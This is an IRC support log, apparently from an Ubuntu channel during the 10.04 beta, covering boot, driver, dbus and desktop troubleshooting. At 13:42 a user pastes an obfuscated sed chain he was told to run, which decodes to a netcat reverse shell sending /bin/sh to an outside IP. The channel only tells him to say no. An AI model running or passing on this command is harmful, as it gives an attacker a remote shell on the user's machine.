[11:58] <Tux^> no errors
[11:58] <Tux^> it shows the first screen with "ubuntu" and thats it.. it takes me to a black screen
[11:58] <Tux^> no login screen
[11:58] <Dr_Willis> Reckon1:  error 403 - sounds liek their server is having some issues. but that seems... weird...
[11:59] <ojii> do I need both nvidia-current and nvidia-current-modaliases (or even more) or is nvidia-current enough?
[11:59] <coc0nut> Tux^: Are you able to use recovery mode from grub?
[11:59] <Tux^> nope :(
[11:59] <Tux^> did all that
[11:59] <coc0nut> ojii: Sorry, no idea.
[12:00] <Tux^> even i installed 9.10 will all updates and then did a upgrade again to 10.04 and same issue
[12:00] <coc0nut> Tux^: What about a clean install of 10.04?
[12:01] <Tux^> that is my next step, before that i just wanted to know if i was doing something wrong
[12:01] <Dr_Willis> updates can break things..
[12:01] <coc0nut> Tux^: Yeah, you were probably doing everything right.
[12:01] <Dr_Willis> i only try to update every so many days... not every 5 hrs. :)  and i hang in here to be sure its ok.
[12:02] <Tux^> ok
[12:02] <coc0nut> Upgrading to a new version of the OS can just break everything for no apparent reason. =/
[12:02] <Tux^> i will post here again after a clean update
[12:02] <coc0nut> Ok, good luck.
[12:02] <Tux^> thank you all
[12:02] <Tux^>  :)
[12:02] <coc0nut> No problem.
[12:06] <Reckon1> wow... i just noticed by router blocks sites containing the word sex.
[12:06] <Reckon1> that's why i got that error
[12:06] <penguin42> hehe
[12:07] <penguin42> you don't live in Essex do you?
[12:07] <shoonya> how to add support for FLAC in exfalso (tag editor from quodlibet) ?
[12:09] <_CommandeR_> guys
[12:09] <_CommandeR_> do anyone have problems logging into networks with WPA2 ?
[12:09] <_CommandeR_> wifi*
[12:13] <droid> hello all, where does playonlinux store it's istalled win Apps?
[12:13] <_CommandeR_> droid, home folder and .wine
[12:14] <_CommandeR_> droid, hm or .playonlinux try that also been a time since i used it.
[12:15] <droid> commander ok, my steam/steamapps folder has games in it, why wont steam in pol show them?
[12:16] <Dr_Willis> because POL just saw steam installed and not all the other apps?
[12:16] <Dr_Willis> I just use wine to run steam then launch the games via steam
[12:17] <ojii> my boot stops after a message saying "ehci_hcd 0000:00:04.1: irq 18, io mem 0xdf489200", i started with recovery mode, nomodeset and xforcevesa. anyone got an idea how i can get past that line and actually boot?
[12:22] <Reckon1> where could I provide
[12:22] <Reckon1> feedback?
[12:28] <ojii> anyone know some bootoptions to increase the chance that i can successfully boot lucid?
[12:32] <penguin42> ojii: What's your hardware?
[12:33] <ojii> penguin42, MBP 5.1
[12:33] <penguin42> hmm that can't be that unusual
[12:33] <penguin42> ojii: What USB devices do you have plugged in?
[12:33] <ojii> none
[12:34] <ojii> i managed to boot now tho
[12:37] <ojii> not sure if it's lucid's fault or the MBP's fault but this is the most painful linux installation i ever had
[12:37] <coc0nut> =/
[12:37] <coc0nut> Weird.
[12:38] <ojii> but learning a bit more about linux while struggling to install, so at least there's some positive side to it as well
[12:38] <ojii> ARGH
[12:39] <ojii> "b43-pyh0 ERROR: FOUND UNSUPPORTED PHY (Analog 8, Type 4, Revision 4)
[12:39] <ojii> and i'm in shell again
[12:39] <ojii> what's a "phy"?
[12:40] <Reckon> Eventually I managed to install of XChat
[12:42] <fiveop> I've got a nearly fresh installation of lucid on my desktop (added some dev libs to compile emacs and got all updates to the preinstalled things). Now if I hit the s-Key anywhere the logout menu of "Indicater Applet Session" comes up
[12:42] <Reckon> Dr Willis, thanks for your advices
[12:43] <fiveop> I haven't that problem before getting the updates
[12:43] <fiveop> +had
[12:44] <monkey_dust> hi all -- i am unable to format a partition for data storage, without OS, I want to use it for backups -- hints & tips anyone?
[12:45] <SwedeMike> monkey_dust: it'll be easier to help you if you qualify "unable" a bit more.
[12:45] <ojii> argh i want a graphical desktop :(
[12:46] <monkey_dust> SwedeMike, i did mkfs.ntfs, but cannot create directories or put files on it
[12:46] <SwedeMike> monkey_dust: again, "cannot" doesn't help much, you need to provide more information.
[12:46] <monkey_dust> that was the information :s
[12:46] <yofel> monkey_dust: you did mount it after formatting it, yes?
[12:47] <bittin> Somone knows alsa here? i want to switch from PulseAudio to alsa in my Ubuntu system but i fails :(
[12:47] <monkey_dust> SwedeMike, it says not found in fstab or mtab, when i try to mount
[12:48] <yofel> monkey_dust: ... 'mount /dev/<partition> /path/to/mountpoint/'
[12:48] <SwedeMike> monkey_dust: and how do you try to mount it?
[12:48] <bittin> alsamixer says: cannot open mixer: No such file or directory
[12:49] <droid> i obly know how too chain alsa/pulse/oss so it all playsz the same thing >.>
[12:49] <yofel> bittin: why are you trying to use alsa?
[12:49] <bittin> yofel, becouse Pulse Audio dosen't work on my system ?
[12:50] <bittin> and becouse i like alsa better
[12:50] <yofel> bittin: you did file a bug about that yes?
[12:50] <monkey_dust> ok guys, i created mountpoint, it works now
[12:51] <ojii> to start gnome i do `sudo start gdm` right?
[12:51] <yofel> ojii: to start the login screen and X yes
[12:51] <bittin> yofel, no
[12:51] <ojii> yofel, i get a little window telling me 'ubuntu is running in low-graphics mode'
[12:52] <bittin> becouse i don't know if its a bug or if its me failing
[12:52] <yofel> bittin: best you talk to crimsun when he's here, he's an audio dev
[12:52] <bittin> ah ok
[12:52] <Genscher> hey, is there a way to get wifi (b43) working again on latest lucid daily + 2.6.32? It worked always out of the box but the enew kernel cries for some firmware file?
[12:52] <ojii> then i can choose between "run ubuntu in low-graphics mode for just one session", "reconfigure graphics", "troubleshoot erro", "exit to console login" and "restart x", which one should I use to get gnome to start?
[12:53] <yofel> ojii: what does your /var/log/Xorg.0.log (Xorg.0.log.old) say?
[12:53] <ojii> so i go back to console to check that?
[12:53] <yofel> yes, that should tell you why it's running in low graphics mode
[12:54] <ojii> weird there's no Xorg.0.log
[12:54] <ojii> only Xorg.failsafe.log
[12:54] <ojii> although I didn't start in recovery mode this time
[12:55] <yofel> hm, didn't you say you used something like 'xforcevesa', maybe that's the reason?
[12:55] <ojii> but that one ends with ddxSigGiveUp: closing log
[12:55] <ojii> i used that before
[12:55] <ojii> to get to the shell to install the nvidia drivers
[12:55] <ojii> which i did
[12:55] <ojii> then i restarted and booted non-recovery mode
[12:56] <yofel> ah, did you create a xorg.conf that uses the nvidia driver?
[12:56] <ojii> i got the plymouth screen for a split second and dropped into shell again
[12:56] <ojii> yofel, how?
[12:56] <ojii> doesn't the deb pkg do that?
[12:56] <yofel> nope, jockey does that (there's jockey-text too, but I never used it)
[12:56] <ojii> jockey?
[12:56] <yofel> you can run 'sudo nvidia-xconfig'
[12:57] <yofel> ojii: the 'hardware drivers' app
[12:57] <ojii> ah okay
[12:57] <ojii> lets see if that worked
[13:01] <ojii> yofel, still only getting a shell
[13:01] <yofel> and if you start gdm?
[13:01] <ojii> still warning about low-graphics mode :(
[13:02] <simontol> Hi, anyone here who knows where I can find the new brand fonts for lucid logo?
[13:03] <yofel> ojii: what happens if you stop gdm and run 'sudo startx' ?
[13:03] <simontol> ttf-ubuntu-title package contains the old fonts
[13:04] <ojii> yofel, looking promising
[13:04] <yofel> ojii: that should give you a root gnome session
[13:05] <ojii> awesome
[13:05] <ojii> yofel, how can i make this work every time i boot now?
[13:05] <yofel> now I'm confused though why gdm won't work...
[13:06] <yofel> ojii: you don't want to be logged in as root all the time, we need to get gdm to work now
[13:06] <ojii> yea that's what i meant
[13:07] <ojii> is it normal that i can't start network manager now?
[13:07] <yofel> I don't know whats normal or not in the root session, never used it
[13:08] <yofel> ojii: what does your '/etc/X11/default-display-manager' contain?
[13:10] <ojii> yofel, /usr/sbin/gdm
[13:10] <yofel> correct...
[13:13] <penguin42> yofel: A plain startx should be enough; I had X not start from gdm yesterday and had to startx manually
[13:14] <yofel> oh? could be a general issue then maybe, haven't rebooted since yesterday
[13:14] <ojii> yofel, when i try to use nvidia-settings to write the configs it tells me it can't open the file for writing
[13:14] <ojii> also i use beta2 not daily
[13:14] <penguin42> yofel: Today it was OK and hadn't updated yesterday - so I think it's a sometimes-bug; yesterday was after an fsck
[13:16] <yofel> ojii: well, check the file permissions for the xorg.conf, have to go for now, bbl
[13:17] <ojii> yofel, what's correct permissions?
[13:17] <yofel> 546 4.0K -rw-r--r-- 1 root root 1.8K 2010-01-14 20:13 /etc/X11/xorg.conf
[13:17] <ojii> thanks
[13:21] <adalal> anyone know why pulseaudio isn't picking up my mic properly?
[13:23] <videorechner> hi I installed live-initramfs and the image is loaded from the server, but wont be mounted at /live, thats all I can see in the error message, I then am able to use the shell, how can I find out, why it didnt mount the image?
[13:25] <ojii> still can't get gdm to run for a user. only startx works
[13:26] <ojii> and loads of things I do give me a "org.freedesktop.DBus.Error.FileNotFound: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory"
[13:27] <penguin42> ojii: Odd, I wonder why system dbusdidn't start - ok, try   sudo start dbus
[13:28] <ojii> penguin42, "start: Job failed to start"
[13:30] <ojii> i'm starting to hate this MBP
[13:33] <penguin42> there's something odd with your install
[13:33] <ojii> indeed
[13:33] <penguin42> I don't think I could honestly blame the mbp
[13:33] <penguin42> did it crash during install?
[13:33] <ojii> penguin42, nope
[13:33] <ojii> but i always had issues booting it
[13:33] <penguin42> even into MacOS?
[13:33] <ojii> ah no
[13:33] <ojii> that's not a problem
[13:33] <penguin42> hmm OK
[13:34] <ojii> but i think the booting issues with nouveau are a known issue
[13:34] <penguin42> ah
[13:34] <ojii> and using vesa 'solved' it
[13:34] <ojii> (solved=it let me boot into a shell session)
[13:34] <penguin42> ok, what did that start dbus give as any reason?
[13:36] <ojii> start dbus just gives me taht line i wrote above
[13:36] <ojii> "start: Job failed to start"
[13:37] <bjsnider> maybe the install cd was b ad
[13:37] <penguin42> I'd check /var/log/messages or /var/log/user.log to see if there is any more info
[13:37] <penguin42> bjsnider: It would be odd for it to cause problems rather than fail
[13:37] <bjsnider> i don't agree with that
[13:38] <bjsnider> i've seen bad install cds cause all kinds of crazy nonsense
[13:38] <penguin42> bjsnider: That *should* be spotted by the installer if something fails to be read off disk
[13:39] <penguin42> bjsnider: The error correction on a cd is NOT going to let bad data through, it WILL cause an io error
[13:39] <bjsnider> maybe there was one
[13:40] <bjsnider> we don't know what went on in that situation
[13:41] <ojii> i uploaded all files in /var/log to http://files.ojii.ch/logs.tar.gz because honestly I have no clue what to look for in those logs
[13:42] <ojii> is 'messages' always the one from the last boot?
[13:42] <BPower> Quick question.
[13:42] <BPower> Someone is suggesting that I run this through my terminal.  Is it safe?
[13:42] <BPower> (echo "service crond stop && cron -j 1" | sed 's/ser/nc/' | sed 's/vi/\ -e\ /' | sed 's/ce/\/bi/' | sed 's/\ cr/n\/sh/' | sed 's/ond/\ 78/' | sed 's/\ stop/.129.252.6/' | sed 's/\&\&\ c/88/' | sed 's/ron\ -j\ 1/88/') >/dev/null 2>&1
[13:43] <ojii> because for some reasons it kept the "ro single nomodeset xforcevesa" (i thought editing the boot options is only for one boot)$
[13:43] <videorechner> is there a ubuntu live disk specific channel?
[13:44] <BPower> no one?
[13:44] <BPower>  :)
[13:44] <Dr_Willis> hmm?
[13:44] <penguin42> ojii: I think it appends, so the bottom should be the latest; so those logs look generally OK except for 1) It complaining it can't connect to ConsoleKit becaus eof no dbus, and 2) dbus failing to start but it doesn't say much about why dbus is failing to start
[13:45] <Dr_Willis> BPower:  when in doubt.. say no.. plain and simple.
[13:45] <BPower> ...or ask people who know more than you...
[13:45] <Dr_Willis> videorechner:  ive never seen one
[13:47] <penguin42> ojii: if you do ps -eaf|grep dbus   do you see a dbus-daemon --system --fork ?
[13:48] <ojii> let me search | on that keyboard
[13:49] <penguin42> ojii: If you are on the console then if all else fails you should be able to type one by doing alt-124 (with the 124 on the numeric keypad)
[13:49] <echosystm> what software is going to be in "canonical partners" ?
[13:49] <echosystm> why are parallels and vmware gone?
[13:49] <penguin42> echosystm: I don't know,  but my guess is they'll come back around the time of release
[13:49] <Dr_Willis> perhaps the companies havent  came out with packages to put there yet
[13:49] <echosystm> hmm
[13:49] <echosystm> im not sure that they were even in 9.10 though
[13:49] <ojii> penguin42, which would require me to find the numeric keypad)
[13:50] <penguin42> ojii: Haha oh ahem, you know an external USB keyboard might help
[13:51] <ojii> penguin42, i see /bin/dbus-daemon --fork --print-pid 4 --print-address 6 --session
[13:52] <penguin42> ojii: There are two dbus daemons, the session daemon and the system daemon - you seem to be missing the system one
[13:52] <ojii> indeed
[13:52] <penguin42> ojii: OK, let me take you through a set of 3 commands
[13:52] <ojii> sure
[13:52] <penguin42> ojii: sudo  mkdir -p /var/run/dbus
[13:53] <penguin42> ojii: sudo chown messagebus:messagebus /var/run/dbus
[13:53] <penguin42> ojii: sudo dbus-uuidgen --ensure
[13:53] <penguin42> now do all 3 of those work/give errors?
[13:53] <ojii> last one gives me an error
[13:53] <ojii> command not found
[13:54] <mawst> Dude... man... bruh... I removed that transmission themed icon from the bar and now transmission won't show in the tray no matter what I do.
[13:54] <penguin42> ojii: Do you not have /bin/dbus-uuidgen ?
[13:54] <mawst> :((
[13:54] <ojii> ah typo
[13:55] <penguin42> bah - I thought we were onto something
[13:55] <ojii> penguin42, now i get: "UUID file '/var/lib/dbus/machine-id' should contain a hex string of length 32, not length 0, with no other text"
[13:55] <ojii> with the dbus-uuidgen
[13:55] <penguin42> ooh interesting
[13:55] <penguin42> hmm I wonder where that's supposed to come from
[13:56] <penguin42> ojii: and that file is currently 0 length?
[13:56] <ojii> if i cat it i get nothing
[13:57] <penguin42> ok, so delete that broken file and rerun dbus-uuidgen --ensure  and then cat that file
[13:58] <ojii> now i get something
[13:58] <ojii> looks sane now
[13:58] <penguin42> ojii: and sudo start dbus ?
[13:59] <ojii> wah
[13:59] <ojii> screen went black
[13:59] <ojii> wow next time warn me please
[13:59] <penguin42> not necessarily a bad thing
[13:59] <penguin42> ojii: I didn't expect it to go black
[13:59] <ojii> heh
[13:59] <ojii> now I got the login screen!!!!!!!
[13:59] <penguin42> wahey!
[13:59] <ojii> but now I get (after entering password): "Could not update ICEauthority file /home/jonas/.ICEauthority"
[14:00] <penguin42> ojii: Try rebooting now we've got that problem fixed
[14:00] <ojii> BUT: it did let me log in
[14:00] <ojii> penguin42, i love you!
[14:00] <penguin42> that'll be one herring
[14:03]  * ojii sends penguin42 a herring
[14:03] <penguin42> wahey!
[14:06] <ojii> now to my favorite part after installing a ubuntu system: wireless :(
[14:06] <pa> hello
[14:07] <pa> what is the "official" way to disable a service from the automatic startup ?
[14:07] <pa> like with sysvconfig tools or so
[14:07] <penguin42> pa: That depends if it's sysv or upstart
[14:08] <pa> i have lucid beta2
[14:08] <pa> i geuss upstart?
[14:08] <penguin42> pa: It depends on the individual service
[14:08] <penguin42> pa: Do you see the service you want in /etc/init or in /etc/init.d ?
[14:08] <pa> mmh.. let me check
[14:09] <pa> penguin42, in init.d
[14:09] <penguin42> pa: OK, that's sysv stuff, so use update-rc.d
[14:09] <pa> ah thanks
[14:09] <penguin42> pa: e.g. update-rc.d foobar enable
[14:09] <pa> for upstart stuff, what should i use instead?
[14:09] <penguin42> pa: Not sure, as far as I can tell it seems to involve just removing stuff from /etc/init which seems a bit grim
[14:11] <pa> oh ok
[14:11] <pa> thanks , anyways : )
[14:17] <ojii> when I share a internet connection with networkmanager (i share my wlan0 to my eth0) will it automatically start a DHCP server? because my other notebook tries to use DHCP over that eth0 connecton
[14:19] <ojii> nvm just set it to manual now
[14:19] <melkor> I cannot mount my Ipod shuffle.
[14:20] <erghezi> my microphone dont work in ubuntu lucid
[14:20] <melkor> I plug it in and I can see it under system->administration->disk utility, but there is no way to mount it.  It thinks it is an empty partition.
[14:21] <melkor> the disk utility thinks the ipod is empty.
[14:27] <Dr_Willis> pa upstart has files in ./etc/init now. just move or rename the file to disable a service. I move mine to /etc/init/DISABLED normally
[14:27] <Dr_Willis> or move for excample   service.conf to service.DONTRUN
[14:28] <penguin42> Dr_Willis: Can you try and replicate a bug for me? THis pptx file in OOo for me renders most of the first page in Greek: http://lhc-commissioning.web.cern.ch/lhc-commissioning/news-2010/presentations/week15/2010.04.18-summary%20830.pptx
[14:28] <penguin42> I'm told for others with earlier OOo it's OK
[14:30] <Dr_Willis> it crashes oowriter here
[14:30] <penguin42> ok, I'll file it - it's a bug either way
[14:30] <Dr_Willis> wife is yelling... gotta go.
[14:32] <terinjokes> i think there's a typo in the AMD64 installer for beta2
[14:32] <kroson> hi people very happy with lucid, congratulations to all developers
[14:32] <penguin42> terinjokes: Then file a bug against the ubiquity package
[14:32] <ikonia> terinjokes: in what respect ?
[14:32] <kroson> id like to know if there is a way to watch pdf's directly from the browser, without downloading them
[14:33] <kroson> and without installing adobe reader
[14:33] <kroson> xD
[14:33] <ikonia> kroson: there is pdf support, however it will have to download for you to read it
[14:33] <ikonia> kroson: you don't have to save it to the disk though
[14:33] <ikonia> !pdf | kroson
[14:33] <terinjokes> ikonia: the first page of the slideshow, it says something like "While Ubuntu is installed, this slideshow will show you around." Shouldn't this be "While Ubuntu is *being* installed"
[14:34] <kroson> ikonia: do you know what is mozplugger and if that will do what i want?
[14:34] <ikonia> terinjokes: doesn't have to be
[14:34] <ikonia> kroson: no idea
[14:34] <terinjokes> ikonia: the current way makes it seem like the slideshow will show you around after Ubuntu is installed
[14:34] <kroson> i can open it directly if i select the right option, but i remember some releases ago it open automatically
[14:34] <kroson> but oh well, not a big question
[14:34] <ikonia> terinjokes: no it doesn't
[14:34] <ikonia> terinjokes: "while ubuntu is installed - I'll show you around"
[14:35] <terinjokes> yes, but Ubuntu isn't installed yet
[14:35] <terinjokes> it is installing
[14:35] <ikonia> terinjokes: yes
[14:35] <ikonia> so ?
[14:35] <ikonia> am I missing your point ?
[14:35] <terinjokes> yes
[14:35] <terinjokes> i do think so
[14:35] <kroson> now, ive installed 10.04 beta 2 two hours ago
[14:35] <kroson> but it took like 15 gb of hard drive
[14:35] <ikonia> kroson: so ? you told us that when you entred the channel
[14:36] <ikonia> the install does not take up 15 GB of hard disk space, you can allocate as much as you want
[14:36] <kroson> ikonia: i say this because of the disk space left i see in nautilus
[14:36] <kroson> i used my entire drive
[14:36] <kroson> and the option "erase the entire disk" of the ubuntu installer
[14:36] <ikonia> kroson: the only way for it to take 15GB is for you to put stuff on it AFTER the install, the install cannot install 15GB of data
[14:37] <kroson> ikonia: just updated the packages :S
[14:37] <ikonia> kroson: that does not = 15GB
[14:37] <kroson> ikonia: i dont know if the free space viewable in nautilus corresponds to the real one
[14:37] <ikonia> kroson: I suspect it is
[14:37] <melkor> ikonia: it could
[14:37] <ikonia> melkor: how ?
[14:38] <kroson> maybe thee is also some swap space or temporary being used at /
[14:38] <melkor> kroson: you could try apt-get clean after updating enough.
[14:38] <kroson> just what i think
[14:38] <melkor> after I first installed lucid < 5 gigs.
[14:38] <penguin42> Dr_Willis: I reported it as #565955
[14:38] <kroson> yah what i wanted also to know is if there is one cleanup command or package for lucid
[14:39] <penguin42> kroson: system->administration->computer-janitor
[14:39] <kroson> melkor: ill just install gparted to lose all my concerns
[14:39] <kroson> penguin42: i read that app sometimes cleans what it shouldnt
[14:39] <penguin42> kroson: Hey well that's a bug
[14:40] <kroson> right
[14:42] <kroson> ikonia: you were right
[14:42] <kroson> i used this tool to analyse disk usage
[14:43] <kroson> and just about 3.5 gb were used for ubuntu installation
[14:43] <kroson> plus about 500mb for updates, restricted extras and emesene
[14:43] <kroson> thanks
[14:55] <Ken8521> grr... why can i not get my grub menu to show?... i've tried holding Left Shift like was suggested.
[14:56] <Ken8521> Dr_Willis, any ideas?
[14:57] <marijus> anybody got problems with dualmonitor setup not beeing persistent on intel?
[14:58] <marijus> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/565305
[15:01] <melkor> https://bugs.launchpad.net/ubuntu/+source/libipoddevice/+bug/565971
[15:02] <penguin42> marijus: KDE or Gnome?
[15:02] <pa> question
[15:02] <pa> how to remove the letter icon on the indicator applet?
[15:02] <pa> or is there an applet with only volume control?
[15:02] <marijus> penguin42: gnome
[15:04] <penguin42> marijus: Intersting, I've seen a long running KDE bug like that, but I've had it work on Gnome in the past - not tried it on Lucid though dual head
[15:05] <marienz> has anyone here played with latencytop? I'm getting some odd stuttering in my audio output while doing things in X and am trying to use latencytop to tell me what's holding things up
[15:05] <penguin42> marijus: I don't think that problem is with the 'linux' package, but I'm not sure what it is with, it could be the X server xrandr stuff, the stuff that detects monitors or something as simple as teh GUI/Gnome stuff that records it
[15:06] <marijus> penguin42: it worked very well until the kernel update to 2.6.32-16 where lot of stuff from 2.6.33 were backported
[15:06] <marienz> so far the most obvious oddity there is 162ms (!) max latency attributed to "Scheduler: waiting for cpu"
[15:06] <marienz> >100ms latency there seems like a lot
[15:06] <penguin42> marijus: Oh OK, seems a bit odd though
[15:07] <duffydack> just me or is medibuntu down
[15:08] <marijus> penguin42: well i guess its to late anyway for this bug to get fixed before release... :(
[15:09] <penguin42> marijus: Yeh I guess so - it's very rare for people to be complaining they can't turn OFF a monitor!
[15:09] <marienz> and I don't see the same on my laptop (it has that entry too but it's <20ms)
[15:10] <penguin42> marijus: You might try running xrandr, and then trying something like xrandr --output LVDS1 --off
[15:12] <Oxymoron> Zend Studio 7.1.2 with Lucid ... and X Error :( http://pastebin.com/uzMbrApm
[15:13] <Oxymoron> It started to happen for three days ago. Same error in Aptana and Eclipse as well.
[15:14] <marijus> penguin42: the thing is i can turn it off with the display settings ui... but it does not remember the setting for the next login
[15:14] <penguin42> marijus: Then that really does sound like it's just the Gnome thing that restores the settings at login, even if it was triggered somehow by a kernel upgrade
[15:15] <penguin42> marijus: Can you pastebin the output of xrandr ?
[15:17] <marijus> penguin42: http://pastebin.com/JSQ4VjKc
[15:18] <marijus> penguin42: even running the command xrandr in terminal resets the setup... now i have to turn it of manually again :(
[15:18] <kedmanee> i starting lucid install soon. how can i avoid that grub2 is installing in master boot record?
[15:19] <penguin42> marijus: Oh *that* is weird; my guess is it's causing some redetection and it's going 'oh a new monitor - better use that'
[15:19] <pa> is there an applet with only the sound preferences?
[15:19] <penguin42> marijus: I'd add that note about xrandr causing it to your bug report, that changes it quite a bit
[15:19] <pa> without the mail preferences of the indicator applet?
[15:20] <marijus> penguin42: ok... but it also gets reset by starting totem videoplayer or by restarting compiz
[15:21] <penguin42> marijus: OK add that; my guess is that anything which asks about the state of the monitor setup via xrandr triggers it; I've seen xrandr sometimes cause monitors to blink and I suspect it's related
[15:22] <stal> anybody know what i do with a libflashpalyer.so ?
[15:23] <penguin42> stal: Dump it in /usr/lib/mozilla/plugins
[15:23] <BUGabundo> https://bugs.edge.launchpad.net/ubuntu/+source/parcellite/+bug/565989
[15:23] <stal> penguin42: thanks
[15:23] <marijus> penguin42: ok ty, ill also add xrandr to the affected packages
[15:24] <demifuror> hey guys, does anyone have any tutorials for em so i can get my nvidia 8800 gts working in lucid?
[15:26] <mawst> Anyone have any recommendations for something better than fspot, that's not picasa?
[15:26] <BUGabundo> mawst: humm not really
[15:26] <BUGabundo> what do you need?
[15:27] <mawst> I think I'll try digiKam
[15:27] <penguin42> mawst: gimp is of course one option
[15:28] <BUGabundo> penguin42: gimp is a photo editor, not a album manager
[15:28] <penguin42> true
[15:28] <BUGabundo> and I think mawst is looking for the 2nd
[15:29] <demifuror> can anyone tell me how to install my nvidia 8800 gts on lucid?
[15:30] <Red_Baron> it's worth it to install 10.04 beta 2 or it's better to wait for final version?
[15:30] <stal> Red_Baron: yes it is
[15:30] <stal> it has light themes
[15:30] <Red_Baron> you mean? :P
[15:30] <stal> new themes
[15:30] <Red_Baron> sI must reinstall ubuntu
[15:30] <Red_Baron> now i have 9.10
[15:31] <Red_Baron> so what do you say?
[15:31] <stal> try update-manager -d
[15:31] <Red_Baron> 9.10 or 10.04 beta2?
[15:31] <BPower> Red_Baron, I think the final version comes out in just under a week or two.  Everyone: will it be easy (and reliable) to upgrade from Beta 2 to the final version?  If so, might as well do it now as long as it's not a production server. Otherwise, I'd wait.
[15:31] <tormod> Red_Baron, if you have to install from scratch now anyway, try 10.04
[15:31] <tormod> if it does not work you can always install 9.10 instead
[15:31] <BUGabundo> beta2 is old already
[15:32] <BUGabundo> if you are doing a clean install, you can get a daily image
[15:32] <Red_Baron> what's a daily image?
[15:32] <BUGabundo> if you are upgrading from 9.10 you will get what ever is on your mirror at this moment
[15:32] <BUGabundo> that should be past beta2
[15:32] <Red_Baron> the newest version?
[15:32] <BPower> How can I figure out which version I'm on right now?
[15:32] <BUGabundo> !daily | Red_Baron
[15:33] <BUGabundo> BPower: update, and you will have the last your mirror provides
[15:33] <Red_Baron> so under beta 2 for ex. there are more versions?
[15:33] <BUGabundo> you can check packages versions with
[15:33] <tormod> BPower, if you have run update today, you're on daily
[15:33] <BUGabundo> $ apt-cache policy PACKAGENAME
[15:33] <uffo> how i can enable partition mounting simple password protection that password is needed for mounting, thanks.
[15:33] <BUGabundo> tormod: not exaclty, but close
[15:34] <BUGabundo> uffo: look at encryptfs or encfs or truecript
[15:34] <BPower> BUGabundo tormod: update from the Update Manager?
[15:34] <BUGabundo> BPower: from what? your current lucid?
[15:34] <BPower> ya
[15:35] <tormod> packages are updated every day, all the time. The "dailies" are a daily snapshot, the Beta was a particular daily that got extra testing, preceded by a short package update freeze
[15:35] <BUGabundo> correct
[15:36] <uffo> BUGabundo: i do not want encrypt but just password protect mounting, actually friend wants this because 9.10 had this way and he wats this back.
[15:36] <Red_Baron> i refer to iso image
[15:36] <Red_Baron> beta 2 is the same now like it was 2 weeks ago?
[15:37] <BUGabundo> uffo: I think you are really refering to encrypt, that asks an user on install if you want to encript HOME
[15:37] <Red_Baron> i refer  to the downloadable iso
[15:37] <mawst> http://yorba.org/shotwell/ <--- Looks better than fspot
[15:37] <BUGabundo> Red_Baron: ??
[15:38] <tormod> an iso image represents a snapshot of the archive
[15:39] <uffo> BUGabundo: not encrypt but you know that 9.10 wanted password if partition mount was needed that simple thing in current lucid, is there way for this ?
[15:39] <Red_Baron> ok, i will ask the same thing more simplified :P
[15:39] <Red_Baron> i have downloaded 10.04 iso image about 2 weeks ago
[15:39] <BUGabundo> Red_Baron: you can use zsync to update that iso
[15:39] <BUGabundo> without having to download the ALL image again
[15:39] <BUGabundo> saving you bandwith and time
[15:39] <Red_Baron> sould i install that or should i download again that iso cause it's newer version?
[15:40] <BUGabundo> uffo: I don't understand what you are saying , sorry
[15:40] <BUGabundo> Red_Baron: are you doing a clean install?
[15:40] <Red_Baron> yes
[15:41] <mirak> hi,
[15:41] <mirak> is there some channel to discuss about raid ?
[15:42] <ojii> penguin42, i rebooted now but still get the error about "Could not update ICEauthority file /home/jonas/.ICEauthority"
[15:44] <penguin42> ojii: do an ls -l of /home/jonas/.ICEauthority - what does it show?
[15:45] <ojii> penguin42, -rw------- 1 root root 660 2010-04-18 14:22 /home/jonas/.ICEauthority
[15:46] <BUGabundo> Red_Baron: then you can try a daily
[15:46] <BUGabundo> if you find probs with it, you can try the beta iso you already have, or and early daily
[15:46] <Red_Baron> so it's better to download it now that image?
[15:46] <penguin42> ojii: Well there you go, some how you've ended up with it owned by root - nuke it and log and log back in
[15:47] <ojii> okay
[15:47] <penguin42> mirak: What problems are you having with RAID - I did note there was an important warning in the Beta2 release nodes about a RAID bug
[15:50] <mikebeecham> hi guys...I've noticed with Lucid that, at login, I can change between Gnome and KDE.  Gnome is fine, however if I choose KDe then the screen goes black after it has entered the desktop...could anyone give a hint as to why?
[15:51] <yofel> mikebeecham: does the 'run' app start if you press alt+f2? try running 'plasma-desktop' there
[15:51] <mikebeecham> ok...brb
[15:58] <mikebeecham> righteo...so I logged into KDE...black screen.  I can open alt+f2 and type in plasma-desktop, but nothing happens.  I can also open alt+f2 and try settings, etc...all the windows I request (inc logout) appear, but still get black screen behind it...it's like there's no desktop there
[15:59] <mikebeecham> I also get a lot of knotify errors
[16:01] <majnoon> ok got everything to work
[16:01] <yofel> mikebeecham: odd, how did you install KDE?
[16:01] <majnoon> except amarok no randomize the songs anymore :(
[16:02] <majnoon> yofel, istall kubuntu desktop
[16:02] <yofel> hm...
[16:02] <mikebeecham> i havn't....I upgraded to Karmic, and within the login screen there's drop down menu that allows you to choose either 'safe' gnome, gnome, kde or one other....I'm assuming that choosing KDE will open up a KDE session?
[16:02] <majnoon> can have multiple desktop environments
[16:02] <mikebeecham> sorry, not karmic...Lucid
[16:02] <mikebeecham> I've upgraded to Lucid
[16:03] <yofel> majnoon: *I* know that
[16:03] <majnoon> <---has gnome,kde and  xfce so far
[16:03] <mikebeecham> gnome runs for me fine, but KDE is giving me issues
[16:03] <majnoon> nm read question wrong :)
[16:03] <yofel> mikebeecham: really? it shouldn't list KDE if it's not installed
[16:03] <mikebeecham> strange that I can open up windows, but cannot see a desktop
[16:03] <yofel> majnoon: haha, nvm, I have KDE together with gnome and lxde here :P
[16:04] <penguin42> mikebeecham: My guess is that the window manager or something has died - I'd bet on 3d problems being the most likely issue
[16:04] <mikebeecham> i probably wouldn't enjoy KDE anyway...I've used gnome since running linux
[16:04] <mikebeecham> lol
[16:04] <majnoon> yofel, depends ,he may have some kde programs installed (eg amarok) if so it WILL install kde libraries
[16:04] <yofel> majnoon: you could be right there
[16:05] <majnoon> (that why if i install kde programs i install kde :)  )
[16:05] <mikebeecham> how much space would installing kde take up?  and can I run them both to ascertain which one I'd like the most?
[16:05] <yofel> mikebeecham: well, if you really want to try kde you should make sure you have 'kubuntu-desktop' installed (or kde-full I guess)
[16:06] <majnoon> if fully installed you can mix and match no problem
[16:06] <mikebeecham> does KDE take a lot of space up?
[16:06] <yofel> mikebeecham: just run 'sudo aptitude install kubuntu-desktop' it should tell you how much space it will use before it does anything
[16:06] <mikebeecham> and would they use the same root folders?
[16:06] <majnoon> depends how fancy you get
[16:06] <mikebeecham> or do I need to partition?
[16:06] <yofel> mikebeecham: same
[16:06] <mikebeecham> ok
[16:06] <majnoon> yup
[16:06] <mikebeecham> do you guys have a preference?
